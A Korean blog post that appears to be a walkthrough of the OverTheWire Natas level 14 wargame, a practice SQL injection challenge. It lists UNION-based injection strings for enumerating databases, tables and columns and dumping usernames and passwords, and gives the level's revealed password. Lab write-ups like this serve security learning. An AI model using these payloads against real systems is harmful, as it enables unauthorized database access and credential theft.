본문 바로가기

보안/Natas

Natas Level 14 - SQL인젝션

Natas Level 14 → Level 15
 
Username: natas14
URL:      http://natas14.natas.labs.overthewire.org

 

 

문제를 확인하니 mysql을 인젝션하는 문제이다. POST 방식으로 메시지를 주고 받고

username과 password가 인자로 있다.

 

 

보니까 작은따옴표가 아닌 쌍따옴표를 이용해 인젝션해야한다.

천천히 하나부터 시작하자.

 

사용할 인젝션 코드는 다음과 같다. 아래는 작은따옴표인데 큰 따옴표로 바꿔서 공격하자.

 

 

가지고 있는 디비
' UNION ALL SELECT NULL, schema_name FROM information_schema.schemata #

 

현재 데이터베이스 이름
' UNION ALL SELECT NULL, database() #

 

현재 디비의 테이블 리스트
' UNION ALL SELECT NULL, table_name FROM information_schema.tables where table_schema = database() #

 

특정 테이블의 칼럼 (테이블이름이 users일 때)
' UNION ALL SELECT NULL, column_name FROM information_schema.columns where table_name = 'users' #

 

특정 항목에 있는 데이터
' UNION ALL SELECT user, password FROM users #

 

어...공격하려고 다음 문장을 입력했는데

" UNION ALL SELECT NULL, schema_name FROM information_schema.schemata #

바로 답이 나와버린다. 일단 인젝션이 성공하면 끝인가보다.

 

답은 AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J 이다.

 

 

'보안 > Natas' 카테고리의 다른 글

Natas Level 15 - 블라인드 SQL 인젝션  (0) 2017.02.09
Natas Level 13 - 웹셀, 시그니처 체크  (0) 2017.02.09
Natas Level 12 - 웹셀 업로드  (0) 2017.02.08
Natas Level 11 - XOR  (0) 2017.02.08
Natas Level 10 - 커맨드 인젝션2  (0) 2017.02.08